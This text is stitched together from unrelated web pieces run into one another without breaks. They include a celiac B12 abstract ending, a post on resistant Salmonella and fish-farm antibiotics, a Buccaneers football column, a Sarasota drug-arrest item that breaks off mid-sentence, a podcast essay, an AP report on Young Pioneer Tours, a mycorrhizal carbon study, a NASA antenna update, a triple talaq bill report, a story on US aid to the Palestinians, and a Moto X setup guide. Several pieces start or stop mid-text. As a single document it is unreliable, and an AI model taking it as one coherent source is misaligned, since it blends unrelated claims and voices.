A total of 16 (41%) patients were vitamin B12 deficient (<220 ng/L) and 16 (41%) patients (11 women and live men) were anemic. Concomitant folate deficiency was present in only 5/16 (31%) of the vitamin B12 patients. The Schilling test, performed in 10 of the vitamin B12-deficient patients, showed five low and five normal results. Although only five patients received parenteral vitamin B12, at follow-up the vitamin B12 results had normalized in all patients. Acral paraesthesia at presentation in three vitamin B12-deficient patients resolved after vitamin B12 replacement.
CONCLUSIONS:
Vitamin B12 deficiency is common in untreated celiac disease, and concentrations should be measured routinely before hematinic replacement. Vitamin B12 concentrations normalize on a gluten-free diet alone, but symptomatic patients may require supplementation.In the midst of the giant Salmonella Heidelberg outbreak last week – now up to 107 cases in 31 states, and triggering a recall of 36 million pounds of ground turkey – it was easy to miss that a second and even more troubling strain of resistant Salmonella is on the move. As I wrote last week, that strain is called Salmonella Kentucky ST198, it is much more drug-resistant than the U.S. Heidelberg outbreak, and it has been spreading since 2002 from Egypt and north Africa through Europe, and has now been identified in the United States. Its primary vector appears to be chicken meat.
There is an interesting and troubling aspect to the spreading Kentucky strain that there wasn't time to talk about last week, in the midst of the Heidelberg news. It's this: The authors suspect that this enhanced resistance – to Cipro, and thus the class called fluoroquinolones that are very important in treating Salmonella – may have come into African chickens via drug use in aquaculture.
The authors are especially concerned about farms that practice what's called "integrated aquaculture," in which chicken litter and manure are used to fertilize ponds in which fish are grown, and waste from the ponds is harvested and used as poultry feed.
They write in the Journal of Infectious Diseases:
How the ST198-X1 CIPR Kentucky clone entered in the poultry sector in various parts of Africa remains to be determined. This clone was found in at least 2 species of poultry (chicken and turkey). Furthermore, a preliminary investigation revealed that poultry industries of Nigeria, Morocco, and Ethiopia used indigenous domestic fowl, arguing against the dissemination of a common contaminated poultry lineage throughout Africa... Intensive aquaculture reliant on large amounts of antimicrobial agents may have played an initial role through the acquisition of the genomic island SGI1-K. Intensive pond aquaculture was introduced in Egypt in the mid-1990s, and today, Egypt is responsible for 80% of the farmed fish production on the African continent. The presence of an ISVch4 element from the aquatic environmental bacteria Vibrio cholerae in all the SGI1-Ks, -Ps, and -Qs variants harbored by the ST198-X1 CIPR clone points to the role of the aquatic ecosystem in the acquisition of the SGI1. Furthermore, SGI1 variants were reported for at least 2 other serotypes of Salmonella... The independent acquisition of SGI1 by these 3 distinct serotypes suggests that its transfer occurred repeatedly in a single geographic area.
Translating and expanding: The spread of this new resistance factor cannot have been because one vertical commercial breed of chicken was purchased by the widely separated farmers in Ethiopia, Nigeria and Morocco in whose chickens this resistance factor was found; they were all using local breeds. It is possible the resistance could have developed through the use of chicken feed laced with fluoroquinolones, which is sold in Africa. But the association between the resistance DNA and the waterborne bacterium V. cholerae suggests that fish farming played a role too, either through medicated fish feed, or because the cycling of chicken byproducts into the ponds and fish and then out again as aquaculture waste may have spread that DNA much more broadly.
This is speculative, but it is also dismaying, because integrated aquaculture is both very common – I've casually observed it, not really looking for it, in several countries in Southeast Asia – and also frequently recommended by food agencies as a way to produce a lot of protein in a sustainable manner with minimal drain on local ecologies. (Here's just a few of the many manuals on it, stashed in the document repository of the UN's Food and Agriculture Organization.)
I can't see any suggestion in those accumulated manuals that inserting antibiotics into the integrated cycle of fish and chicken farming could have unpredictable effects. But it happens that another set of authors have had the same idea, and have just published a warning in Applied and Environmental Microbiology regarding the use of antibiotic-laced feed in integrated pig and fish farms in Vietnam.
They used a small experimental farm near Hanoi built on the traditional model, called VAC for vuon, ao, chuong – garden, pond, pigpen – in which the pigsty is built on the dike-bank of the pond so that wastes drain directly into it. (Parenthetical: I once asked a farmer in central Vietnam how his ponds got so perfectly round. He said, with much more courtesy than I deserved, that it was because they were bomb craters, from what is called in Vietnamese "the American war.")
Over a four-month period, the researchers fed the pigs first drug-free feed, then antibiotic-laced feed, then repeated the cycle. During each month, they checked the pigs' manure and the pond's sediment for the presence of resistance factors in *E. coli *and other gut bacteria. In the months when the pigs were receiving the antibiotic-laden feed, the researchers found significantly higher amounts of antimicrobial resistance in the manure and the pond. To confirm that the drug resistance was not coming from an outside source – runoff fro other farms, wildlife, birds – they typed the bacteria from the manure and the sediment, and found they matched.
And it turns out that this was not the first time a warning bell has been rung about about the use of antibiotics in integrated animal/fish farms. The lead author in the current paper recorded the same effect in chicken/fish farms in Thailand as far back as 2003. (That was an observation, however – which led them to set up the controlled experiment in the newly published one.)
I extract several lessons from these findings, all of them depressing.
The first is the revelation, new to me at least, that antibiotic overuse is not solely a problem in industrialized-world agriculture, but has spread into small-scale developing-world farming as well. (For many posts on why agricultural antibiotics are a problem, look here and here.) The second is the uncomfortable realization that even small-scale aquaculture can be as environmentally problematic as the giant open-water farms that Barry Estabrook has called "feedlots of the sea."
And finally there is yet another reinforcement of something that regrettably has been proven repeatedly, dating back to Stuart Levy's seminal paper in 1976. Once the resistance factors created by agricultural antibiotics get going, there is no way to predict where or how far they will spread – and that the only way to slow their dissemination, and the human health effects that result, is to control the drugs' overuse to start.
Cites:
See Also:
Flickr/SSTalib/CCBuccaneers defensive tackle Gerald McCoy is frustrated with the team’s pass rush – or lack thereof – and has every reason to be.
Not only does Tampa Bay rank last in the NFL in terms of sacks with seven in six games, the Bucs are causing their own problems by stunting too much and not doing enough up-field rushing. The Bucs recorded one sack last week in Tampa Bay’s 30-28 loss at Buffalo, which was when defensive end Robert Ayers beat a tight end to get to quarterback Tyrod Taylor.
“I don’t know if I can pinpoint it, I’d really have to break some things down and go into some things I would rather not go to,” McCoy said.
McCoy doesn’t have to. As I pointed out in my SR’s Fab 5 column, those stunts aren’t working because of the poor design of the scheme and the poor spacing that accompanies it.
The Bucs run a lot of “games” or “twists,” which is when two defensive linemen cross with the first lineman penetrating one way and the other lineman looping around behind the other to try to create some misdirection and open up some pass rushing lanes.
“I think we can do less games and less twisting and more straight rush,” McCoy said. “Regardless of what it is, we have to get him (the quarterback) on the ground. We’re getting to the QB, but we need to get him on the ground. That’s the big thing. It doesn’t matter how many times you hit him. I’m hitting the quarterback constantly, but we need to get him on the ground.”
McCoy, whose two sacks are tied with fellow defensive tackle Clinton McDonald for the team lead, is right. They are poorly executing the stunts, as legendary Hall of Fame Bucs defensive tackle Warren Sapp pointed out in the aforementioned SR’s Fab 5 column, often running into each other and creating running lanes and throwing windows for opposing quarterbacks.
McCoy expressed some dissatisfaction with his usage in the team’s 3-3-5 scheme on third downs last week in Buffalo when the coaching staff wanted to keep linebacker Kendell Beckwith on the field against the Bills because of the injury to defensive end Ryan Russell, who rushes in nickel pass rush situations.
McCoy played the three technique and nose tackle in the 3-3-5, and in the play below, you’ll see him waste time running laterally in the scheme of defensive coordinator Mike Smith and defensive line coach Jay Hayes rather than get up the field and penetrate. McCoy starts in the left “A” gap, crosses the center’s face, goes past the right “A” gap and then attacks the right “B” gap. By the time that happens, he’s double-teamed by the center and the left guard and rendered ineffective.
“Three-man?” McCoy said. “I just play what they call. I’m not going to answer that. I just play what they call. I don’t have no say so in what we run. I’m a team guy and I do what they ask me to do. Do I feel like I could have been more effective in a different way? Yes, but I’m a team guy. It’s not about Gerald. Whatever coach calls is what I’m going to run.”
McCoy talked about his role as a defensive tackle in he 3-3-5 and isn’t necessarily happy with it.
“Your rush has to be different for sure,” McCoy said. “You can be aggressive, but not as aggressive because when you have a guy that can run like Tyrod could or Cam can, you have to make sure you keep your hands out in front of you. You really kind of just mirror the quarterback. For me, I make guys move. That’s why I give guards so much hell. Once I get them in space it’s a problem for them. But when we are in a three-man front I can’t really do that.”
Head coach Dirk Koetter wasn’t happy with the play of Tampa Bay’s 3-3-5 scheme or the third down defense in general.
“Our third-down execution in general was not good enough,” Koetter said. “The goal with that is we were a little short on D-lineman and we were a little bit long on linebackers [so we were] just trying to get those three linebackers on the field at the same time. … No, it didn’t work well in this game, but alignments don’t win or lose games.”
McCoy said he’ll continue to be a good soldier and run whatever scheme or game Smith and Hayes want him to run.
“We’re just trying to figure out a way to win,” McCoy said. “I don’t think any coach is here to put clamps on anybody. That’s why I said it’s not about me. It’s about the team. The ultimate goal is to win. If the coaches feel like that’s the best way to win, then I’m going to go with it. I don’t game plan. I just play what the coaches call.”
But with seven sacks in six games, the 3-3-5 scheme and all the twists and stunts ain’t working.
It’s time to listen to the five-time Pro Bowl defensive tackle and let McCoy do what he does best – penetrate straight up-field, exploit one-on-ones and wreck havoc.Where there's smoke, there's fire...and sometimes pot.
Somebody flagged down a patrolling deputy on Monday about a backyard fire. The deputy contacted the Fire Department because of the large amount of smoke coming from backyard in Sarasota, according to a news release from the Sarasota County Sheriff's Office.
When authorities made contact with Alex B. Miller, 22, he refused to allow the firefighters access to his backyard. But due to public safety concerns, the deputy and firefighters entered the yard.
Inside the backyard they allegedly found 16 cannabis plants in planters.
Once a search warrant was issued, multiple bags and jars containing marijuana, and other drug paraphernalia were also found inside the home, the release stated.
Miller was charged |
sarcasm, tangents, and inside jokes.
I realized that I love this podcast because these two guys have a friendship that reminds me of my closest guy friends. Like James and Nick, we bonded over shared interests and experiences. Like them, our conversations are sprinkled with inside jokes and quotes from our collection of shared obsessions from 15+ years of friendship (Arrested Development, the Halo games, Star Wars, Strong Bad emails, etc.).
The Weekly Planet might be about comic book movies on its surface, but I would argue it is (at least indirectly) a podcast about male friendship. It is a weekly display of the hidden depths that come only from relationships that make up half a lifetime and transition through stages of life into something deeper than affinity.
When I listen to the podcast every week, it awakens the longing I have to reconnect with my own friends. Like a lot of men in their thirties, I have experienced the thinning of relationships that comes with marriage, kids, relocating, job shifts, and the other transitions that happen to many people in their mid-to-late twenties. Friendships that were forged in the fires of late-night Taco Bell runs three nights per week cool to monthly family hangouts when schedules allow. Planning happens weeks ahead of time or else we never see each other. I understand why this is necessary but, still, I lament. Why is it so hard to keep old friendships thriving, much less make new ones, as we get older?
A friend posted this Boston Globe article a few months ago that highlights the health risks for people who live in isolation and, specifically, the challenges for men to stay connected as they age. One of its many illuminating insights is that men seem to need an activity to do together in order to build and keep a friendship. He says that though women seem to be able to connect more easily via a pure relational interface like talking on the phone, if men aren’t doing something side-by-side, they lose connectivity quickly.
As I was reading, I remembered a conversation I had with my dad when I was a teenager. He confided in me that he constantly felt lonely. He looked around at his world and, though he loved his family and had a successful business, he didn’t feel like he had any friends. I wondered while reading this article how much this contributed to the health issues that took him on such a rapid decline in the later years of his life. I am still haunted by the fear that I will one day say the same thing to my own children.
Perhaps the thing that draws me the most to The Weekly Planet is the mere fact that it is The Weekly Planet, as opposed to the Monthly or Quarterly or Whenever We Can Find a Babysitter Planet. James and Nick get together every week just to hit record and talk together about something they both love. Their friendship is continually stoked by the discipline of doing something together. They were doing it before the podcast was making any money and I hope they keep doing it long after podcasts are profitable.
When the show hit 200 episodes a few weeks back, Nick surprised James with a cake to celebrate. The cake was decorated with the number 198, a reference to (and small jab at) the fact that though Nick has been present every week, James has actually missed two of the 200+ episodes of the podcast. Obviously this was a joke, but something about those numbers moved me on a deeper level.
Two hundred weekly podcast episodes represent roughly four years of time. I wondered to myself what might happen in my own life, in my family’s life, and in the broader community of which I am a part if our commitment to one another was so strong that it was a tease-worthy “offense” to have missed two weekly gatherings in four years. Who knows what depths we might plumb together and what riches we might find there? I wonder what I need to rearrange in my own life to reach old age with a group of guys that still jokes about TV shows from our twenties but also exudes the warmth of years spent in each other’s regular presence.
For a podcast whose theme song includes only the lyrics “red-hot comic book movie news shooting up your butthole,” I am surprisingly challenged every week, maybe even more so than from all my other, more refined listens.
Thanks James and Nick,
Kale
AdvertisementsIn this photo taken May 30, 2009 and released by Christopher Barbara, Gareth Johnson poses for photos while wearing a traditional costume during a visit to the Pyongyang Film Studio in Pyongyang in North Korea. British expatriate Gareth Johnson founded the Young Pioneer Tours agency in 2008 and has built up a business attracting young travelers with a competitively priced catalog of exotic-sounding, hard-partying adventures into the world's most isolated country. (Christopher Barbara via AP)
BEIJING (AP) — Beer-soaked “booze cruises” down North Korea’s Taedong River. Scuba diving trips off the country’s eastern coast. Saint Patrick’s Day pub crawls in Pyongyang featuring drinking games with cheery locals.
Since 2008, the Young Pioneer Tours agency built up a business attracting young travelers with a competitively priced catalog of exotic-sounding, hard-partying adventures in one of the world’s most isolated countries.
But the death on Monday of 22-year-old American student Otto Warmbier, who was arrested during a Young Pioneer tour to North Korea in late 2015 and fell into a coma while in detention, has renewed questions about whether the company was adequately prepared for its trips into the hard-line communist state.
Although many details of Warmbier’s fateful trip are unknown, interviews with past Young Pioneer customers or those who have crossed paths with the tour operator describe a company with lapses in organization, a gung-ho drinking culture and a cavalier attitude that has long troubled industry peers and North Korea watchers.
Founded in 2008 by Briton Gareth Johnson in the central Chinese city of Xi’an, Young Pioneer’s fun and casual style was seen precisely as its calling card, a counterpoint to North Korea’s reputation as a draconian hermit kingdom. “Budget tours to destinations your mother would rather you stayed away from,” its website touts, while describing North Korea as one of the safest places on Earth.
But the agency also known as YPT has been associated with a string of cautionary tales, including of the tourist who performed a handstand outside the most politically sensitive mausoleum in Pyongyang where two generations of the Kim family are buried, resulting in a North Korean guide losing her job.
In a July 2016 interview on the travel podcast Counting Countries, Johnson boasted of gaining notoriety after once stepping off a moving North Korean train while drunk on soju. That stunt resulted in Johnson breaking his ankle, leading to a stay at a Pyongyang hospital and visits from the British Embassy and United Nations doctors, who told Johnson he risked losing his foot within a week.
“I didn’t make (the jump), but I became a legend,” he said.
In the podcast, Johnson described himself as a 36-year old university dropout from London who traveled through Eastern Europe and lived in the Cayman Islands before arriving in North Korea for the first time a decade ago. He was immediately hooked.
“The first time you go to North Korea, it’s just an amazing experience, like nothing you’ve ever seen,” Johnson said. “After that first trip I knew I wanted to take people to North Korea.”
Adam Pitt, a 33-year old British expatriate who formerly lived in Beijing and went on a 2013 trip, described to the AP a party atmosphere led by Johnson, who was often heavily inebriated and “almost unable to stand and barely understandable when he did speak” at a tense border crossing where he needed to hand wads of cash to officials as bribes.
While it’s expected for tourists to relax and enjoy a few drinks while traveling, tour operators and tourists say YPT has long stood out for its party-hearty tour groups. In respective interviews with Fairfax Media and the Independent newspaper, Nick Calder, a New Zealander, and Darragh O Tuathail, an Irish tourist, both recalled the New Year’s Party tour group Warmbier traveled with in Pyongyang in late December 2015 carousing until early morning. O Tuathail declined to discuss his recollections of the trip with the AP, saying he wanted to let Warmbier’s family grieve in peace.
On the return leg from that YPT trip, a YPT guide pulled a prank on a customer taking the train back to Beijing by helping hide her husband’s passport from border agents. That resulted in a scramble to find the passport and a confrontation with irked North Korean soldiers who briefly held the husband.
In an emotional news conference last week after Warmbier was medically evacuated from North Korea, his father, Fred Warmbier, lashed out at tour agencies that “advertise slick ads on the internet proclaiming, ‘No American ever gets detained on our tours’ and ‘This is a safe place to go.’”
After Warmbier’s death in an Ohio hospital, YPT issued a statement saying it would no longer accept American customers because “the assessment of risk for Americans visiting North Korea has become too high.”
Pitt, who is Mormon and does not drink, said the company’s statement appeared to shift blame onto tourists rather than examining its own laissez-faire culture.
“It’s not about who goes, it’s about how their groups behave that causes problems,” said Pitt.
In response to multiple requests for comment, Johnson sent two brief emails discussing only his experiences outside of North Korea.
YPT co-owner Rowan Beard said most reviewers have attested to the company’s professionalism and preparation.
“Frankly everyone has different perceptions on things like drinking and what concerns it raises,” Beard wrote in an email. “With the recent tragedy it’s human nature for some people to over-emphasize certain aspects of their experience.”
Beard noted that the mausoleum incident did not involve alcohol and that YPT had warned all customers about the political sensitivities of the site.
He added that YPT has taken over 8,000 tourists to North Korea with only one incident, and boasts a 5-star rating and certificate of excellence on the TripAdvisor review website. Beard said Johnson was in North Korea on business when Warmbier was detained but was not part of his tour.
John Delury, a North Korea expert at Yonsei University in Seoul, said tour groups barely existed 10 years ago, and any sliver of “responsible engagement” between the U.S. and North Korea is valuable. But he worried about tours that do not educate customers on the nuances and political realities of what they’re seeing.
“Hipster adventure tourism, where it’s like going to a zoo and staring at North Koreans, is problematic,” said Delury, who is familiar with several of the companies running tours into North Korea. “It seems like the framing of Warmbier’s trip was ‘go party and have a good time in Pyongyang.’ That is obviously not how responsible tour companies would frame what they’re about.”
YPT has in recent years expanded its North Korea tours and boasts of other so-called “dark tourism” offerings, ranging from trips to the Chernobyl nuclear disaster site in Ukraine to jaunts through Iraq’s largely autonomous Kurdish region.
In another instance Johnson described on the June 2016 podcast, he led a YPT tour group into the Eastern European breakaway state of Trans-Dniester, where a confrontation with authorities escalated into a policeman pulling out a gun. Johnson talked his way out of the situation because “luckily I had my vodka overcoat on at that point, so I wasn’t that scared,” he said, referring to his drunken state.
“I really shouldn’t have as many stories about being arrested or robbed, but I’ve got quite a lot,” Johnson said in the interview.
Christopher Barbara, a legal consultant who splits his time between Montreal and Shanghai, said he joined a YPT trip to North Korea in 2009 headed by Johnson.
“It was so laid back that it was hard to take seriously,” Barbara said. “The way Young Pioneers managed the trip made it feel like the priority was having fun, not staying safe.”
One morning after they arrived, Barbara told the group’s North Korean minders who were looking for Johnson that he was ill, when he was in fact hungover and asleep after a long night.
“I was worried that Gareth’s behavior was going to get us in trouble,” Barbara said.
Johnson has since stepped back from leading YPT tours to found another business called GN Tours — which used to be short for Gross Negligence Tours, according to cached Facebook and Google pages. Johnson said GN Tours is not associated with YPT.
GN Tours advertises itself as the leading planner of bachelor parties in Southeast Asia featuring: “Beaches, babes, bullets and booze (all cheap).”
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Follow Gerry Shih on Twitter at twitter.com/gerryshih
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This story has been corrected to show Warmbier died Monday, not last week.And beyond.
When Tamir Klein joined the team in 2012, his job was to see how much of the labeled carbon had made its way from the canopy to the roots. Sure enough, when he dug up the spruces’ roots, he found that they had low levels of carbon-13. But, to his surprise, so did the roots of surrounding trees, including other species like beech, pine, and larch. Somehow, the labelled carbon had not only moved from the canopies of the five spruces to their roots, but also across to unconnected trees.
“Christian was very reluctant to believe any of this. He said: you misidentified the roots,” says Klein. But he hadn’t. He and his colleagues dug up the soil around the trees to ensure that the labelled roots belonged to different individuals. “Sometimes, we even tasted the roots to distinguish them. We confirmed that the label really was being transferred.”
It wasn’t moving across the canopy. Klein only found the carbon label in the roots of nearby trees and not their leaves, so the exchanges are happening underground. Roots of neighbouring trees can sometimes graft together, and lab studies have shown that carbon can move along these bridges. But Klein showed that this wasn’t the case for his spruces: they weren’t wired up to their neighbours.
Roots can also release carbon directly into the soil, which can then be absorbed by other roots. But if the spruces were doing that, then Klein should have found labelled carbon in every nearby plant—and he didn’t. There wasn’t any trace of the stuff in understory herbs like dog’s mercury and blackberries. It was, however, abundant in fungi, growing on the roots of the spruces and other trees.
These fungi—the mycorrhiza—are found on the roots of almost all land plants, and provide phosphorus and nitrogen in exchange for carbon-based sugars. They can also colonize several hosts at once, creating a large fungal internet that ferries nutrients and signaling chemicals between neighboring plants (much like the trees of Pandora in James Carmeron’s Avatar).
“There’s a below-ground community of mycorrhizal fungi invisibly interconnecting an above-ground plant community,” explains Christina Kaiser from the University of Vienna. “But it’s usually regarded as a network for supplying nutrients in exchange for carbon, not for delivering carbon from one plant to the other in such large amounts.”
She’s not kidding about the large amounts. Klein’s team estimated that in a patch of forest the size of a rugby field, the trees trade around 280 kilograms of carbon every year. That’s around 40 percent of the carbon in their fine roots, and about 4 percent of what they produce in total through photosynthesis.
There were earlier hints of these underground carbon exchanges. In 1997, Suzanne Simard from the University of British Columbia used a similar labelling experiment to show that seedlings of paper birch and Douglas fir trees can exchange carbon via fungi on their roots. “But nothing much has happened since that influential paper,” says Klein. “No one took it to the forest level, to show that this carbon transfer could be relevant to big trees, at an ecological scale.” If anything, he showed that trees are transferring even larger amounts of carbon than Simard’s seedlings were.With the completion of dish assembly, the new DSS 35 antenna under construction at Australia's Tidbinbilla Deep Space Communications Complex is ready for a delicate bit of manoeuvring: from its current position on the ground, onto its pedestal.
As the image below from the Complex's Webcam shows, getting the 34-metre dish from the ground onto its pedestal (completed in December 2012) won't be trivial. DSS 35 is one of two new antennae under construction, and should be operational by 2014; the second, DSS 36, will go live in 2016.
Planned, approved and budgeted before America decided to threaten to blow its economic brains out via the fiscal sequester process, the DSS 35 and 36 antennae were planned to support an expected “growth in deep space missions”. Additionally, NASA notes, the for the next decade or so, the southern hemisphere has a better view of many of the three dozen spacecraft the CDSCC supports.
The two antennas can transmit from the S band to the Ka band at up to 80 kW, and can receive signals equivalent to 1/20 billionths of a watt.
You break it, you bought it: the dish, ready to hoist onto its pedestal
NASA has Webcams for watching the construction process here and here. The agency expects the lift to take place around May 10. ®A bill which seeks to criminalise the practice of triple talaq is expected to be tabled in Lok Sabha by Law Minister Ravi Shankar Prasad today (22 December).
“Muslim Women Protection of Rights on Marriage Bill”, prepared by an inter-ministerial group headed by home minister Rajnath Singh, makes giving instant triple talaq “illegal and void” and provides for a jail term of three years to the husband.
The bill was cleared by the union cabinet last week. Though the bill has been listed in Lok Sabha’s agenda papers for Friday, parliamentary affairs minister Ananth Kumar said the bill would come up for introduction next week.
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According to the provisions, the husband could also be fined and the quantum of fine would be decided by the magistrate hearing the case. The bill is being introduced as the practice still continued despite the Supreme Court striking down “talaq-e- biddat” (instant triple talaq).
The proposed law would only be applicable on instant triple talaq or “talaq-e-biddat” and it would give power to the victim to approach a magistrate seeking “subsistence allowance” for herself and minor children. The woman can also seek the custody of her minor children from the magistrate who will take a final call on the issue.
Under the draft law, triple talaq in any form—spoken, in writing or by electronic means such as email, SMS and WhatsApp—would be bad or illegal and void. According to the draft law, which would be applicable to the entire country except Jammu and Kashmir, giving instant talaq would attract a jail term of three years and a fine.
It would be a non-bailable, cognisable offence. After the Supreme Court order striking down the practice, the government was of the view that the practice would end. But it continued and there have been 177 reported cases of instant talaq before the judgement and 66 after the order this year. Uttar Pradesh tops the list. (PTI)WASHINGTON — The Obama administration said Monday it was reviewing its annual $440 million aid package to the Palestinians because of their effort to join the International Criminal Court to pursue war-crimes charges against Israel.
At the same time, however, the US criticized Israel for withholding tens of millions in tax revenues to the Palestinians, saying such a step “raises tensions.” Taken together, the statements reflected Washington trying to come to grips with a Palestinian move it has spent years trying to avert and a peace process that offers no hope for an immediate breakthrough.
The Palestinian decision to join The Hague court came after the UN Security Council last month rejected setting a three-year deadline for an Israeli withdrawal from Palestinian-claimed lands. Israel fears Palestinian membership there could lead to a rash of politically motivated prosecutions that further isolates the Jewish state and makes it hard for Israeli officials to travel abroad.
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“We’re deeply troubled by the Palestinian action,” State Department spokeswoman Jen Psaki told reporters. She said joining the court “is entirely counterproductive and does nothing to further the aspirations of the Palestinian people for a sovereign and independent state. It badly damages the atmosphere with the very people with whom they ultimately need to make peace.”
Under American law, any Palestinian case against Israel at the court would trigger an immediate cutoff of US financial support. Membership itself doesn’t automatically incur US punishment.
Secretary of State John Kerry discussed the matter by telephone over the weekend with Israeli Prime Minister Benjamin Netanyahu. Other US officials spoke with Palestinian President Mahmoud Abbas, hoping to dissuade him from his course.
Abbas has been under heavy pressure to take stronger action against Israel amid months of rising tensions. US-brokered peace talks collapsed last spring and a 50-day war followed between Israel and Palestinian terrorists in Gaza over the summer.
Netanyahu said earlier this month that Palestinian leaders were the ones who should be prosecuted in the ICC over their unification with rival faction Hamas.
“It is the Palestinian Authority leaders – who have allied with the war criminals of Hamas – who must be called to account,” he said. “IDF soldiers will continue to protect the State of Israel with determination and strength, and just as they are protecting us we will protect them, with the same determination and strength.” Abbas’s Fatah and Hamas are backers of the current Palestinian unity government. Hamas, the terror group that controls Gaza, calls for the destruction of Israel.
Israeli legal group Shurat HaDin, the Israel Law Center, filed lawsuits on Monday at the ICC against three Palestinian Authority leaders for alleged war crimes, terrorism and human rights offenses. Indictments were brought against PA Prime Minister Rami Hamdallah, Abbas’s deputy; minister Jibril Rajoub; and PA intelligence chief Majed Faraj, all of whom belong to Abbas’s Fatah party.
The administration is reviewing its assistance to the Palestinians to ensure it complies with U.S. law, Psaki said. She said there is a range of ways for the US to respond, but suggested none would happen immediately.
“The focus right now is to continue to encourage both sides,” Psaki said. She cited Israel, too, for escalating tensions by freezing the transfer of tax revenues to the Palestinians.
“What we’re trying to avoid here is a back-and-forth tit-for-tat,” Psaki said.
Israel, like the US, is not a member of the international court and doesn’t recognize its jurisdiction. The court has no police force and no authority to go into Israel and arrest suspects. But it could issue arrest warrants that European and other countries would be willing to enforce. The US accepts Israel’s position that Palestinian membership in the court is an impediment to peace.If you’re in the market for a great new Android device, hands-down, the Moto X (2014) deserves your attention. Earlier this week we detailed many of the flagship phone’s hardware and software features in our full review, making a case for why we believe the all new Moto X could be the best Android smartphone on the market.
With an overall score of 4.6 out of 5, we’re sure many of you know a good thing when you see it and pulled the trigger on a custom Moto X through Motorola’s site. One thing we didn’t have time to cram into our full review was a quick list of the first things you should upon powering up the Moto X for the first time. With devices landing on doorsteps as early as today (and available at Verizon locations), your friends at Phandroid.com got ya covered.
1. Make or login with a Google account
This one is a bit obvious, but if you’re new to this whole Android thing, you’re going to need to make a Google account to take advantage of all the apps and services your phone has to offer. You know, like having universal sign if for Google apps, tracking your phone if it gets lost, or simply downloading applications to your device (unless you go the Amazon route, which is a whole different story). First things first: make a Google account here.
After that, once you’ve powered up your brand new Moto X, you’ll be taken through the setup wizard which will eventually ask you to sign into your existing Google account, or ask you to make a new one. This can be skipped, but it’s better to do it right now. Once signed in, depending on your model Moto X, you’ll be asked to set up Google Now, which we’d also recommend accepting right there and then.
Soon after, you’ll find a notification asking you to set up a Motorola account. We’d recommend skipping it because many of the benefits of having a Motorola account mimic features of having a Google account. It’s needless and you wont be missing out on anything.
2. Update system apps on Google Play / Adjust Play Store settings
Now that you’ve successfully made it to your home screen, the first order of business is to update all the Google and Motorola apps that came pre-installed by diving into the Google Play Store. Since Google and Motorola have been so busy lately, there’s a good chance more than a few of them are out of date.
When open the Play Store, swipe from the left edge of the screen to open up the sidebar menu. From there select “My apps” to see all the apps installed on your Moto X, as well as the ones that are in need of updating. Before selecting “Update all,” you may want to make sure you’re connected to WiFi.
While those are all busy updating, you may want to strongly consider jumping into the Play Store settings (located by swiping the sidebar menu again) and turn off app auto updates. At the very least, you can set it to only update when connected to WiFi (recommended), or if you have an unlimited, uncapped data plan, you can always auto-update apps at any time. As for us, we prefer being in full control and love seeing when new updates are available, checking out “what’s new” in the app’s listing, then clicking update.
While you’re in your Google Play Store settings, now would also be a good time to change the duration of how often you have to enter your password when downloading paid apps from the Google Play Store located under “Require password for purchases.” If you have kids who are always on your phone, we’d recommend selecting the option “for all purchases through Google Play on this device.”
3. Setup lock screen with security and contact info
With that out of the way, we can now get into securing your device. Your Moto X has a variety of ways of pulling this off, whether it be by password (most secure), PIN code (moderately secure), pattern lock, or Face unlock (low security). You can see exactly how to enable lock screen security in the screenshots above.
No matter your preference, you might also want to consider putting your contact info on the lock screen in the event a good Samaritan actually wants to return your smartphone (and not keep it for themselves). It only makes sense to make this as easy for them as possible.
Should you forgo all the above mentioned methods of securing your smartphone and end up losing it somewhere down the road, don’t worry. You can still lock your device by visiting the Google’s Android Device Manager from any computer, or downloading the app on to someone else’s phone here. Simply click the “lock” button and you’re good to go. You can even add a full recovery message begging for the safe return of your phone and a number they can call you from straight from your lost phone. Awesome.
4. Setup trusted Bluetooth devices
We get it — having to unlock your device every single time you want to use it for a few seconds is a huge inconvenience. This is reason many users don’t secure their phones with a lock screen to begin with. Wouldn’t it be great if your phone knew when it was near you or someplace “safe,” and would only use passwords or patterns when you’re out and about or away from you? With the Moto X, this isn’t future stuff — it’s a reality.
In your Moto X’s security settings, you can actually setup “trusted” Bluetooth devices. This means whenever you are connected to these devices, your phone will remain unlocked. It could be anything from a Bluetooth speaker you have in your home, or that fancy new Android Wear smartwatch you have on your wrist. When your phone is no longer connected to the devices you specify, it will remain locked and secure.
5. Turn on (or off) Attentive Display
Your Moto X has been equipped with low power IR sensors on the front that, aside from detecting your when your hand is near, can also detect your face. That’s right, using a new feature called Attentive Display, the new Moto X is “smart” enough to know when the screen should be on, and when it shouldn’t — simply by checking to see if you’re looking at it.
Attentive Display has 2 options, the first — “stay on while I’m looking” — will keep the display on for as long as you’re looking at the phone. This is independent of your screen timeout settings. Hypothetically, this means your screen timeout can be set to something small like 15 seconds, but your phone’s display wont turn off if you’re reading an article, or watching a video.
The other mode — Battery saver mode — can also detect your looking at the phone, turning off the display quicker when it doesn’t see you. This should help battery savings given a powered on display can suck up a lot of your smartphone’s juice.
While it hasn’t been tested, having IR sensors constantly looking at your mug is sure to have some impact on battery life, no matter how minimal. Even if it’ll only get you an extra 5 minutes of battery life, you should at least know where to go to turn these features off.
6. Set up the Moto app to unlock new features
Some of the most helpful features of the Moto X are located in the new Moto app. When opened, Moto will give you a quick rundown of its abilities and seeing as how it needs permission special access to your phones hardware and data, will require you to opt in first. Once you select “Yes, I’m in,” you’re on your way to unlocking your Moto X’s true potential.
Once you’ve agreed to the terms, the first thing the app will do is ask you to set up voice commands. Just find a very quiet place and follow the onscreen directions. After that, opening the Moto will always pull up the Moto Voice function right off the bat (like S Voice or Siri), but the app also acts as a hub for Motorola’s other contextual apps, found after clicking the small gear icon in the upper corner.
There are four main apps that you’ll need to set up, with their names and descriptions down below.
Moto Actions: Utilizing the IR sensors located on the front of the device, Actions allows users to interact with the new Moto X using simple gestures (I guess this is why they ditched the name of the Touchless Control app). Wave a hand above the new Moto X to silence calls and/or alarms. You can even launch the camera when the phone is sleeping by flicking your wrist twice.
Moto Voice: Essentially audio monitoring for your smartphone, Moto Voice gives users the ability to wake their devices using a simple voice command — totally hands free. New for the Moto X (2nd Gen), you can now create your own custom voice prompt. Anything from “Hi-Yo, Silver. Away!” to “OK, Jarvis.” There’s new actions too, with the ability to post a status updates to Facebook, messages in Whatsapp, or even check your <insert carrier here> usage. It’s limited, but we expect more apps will be supported in the future.
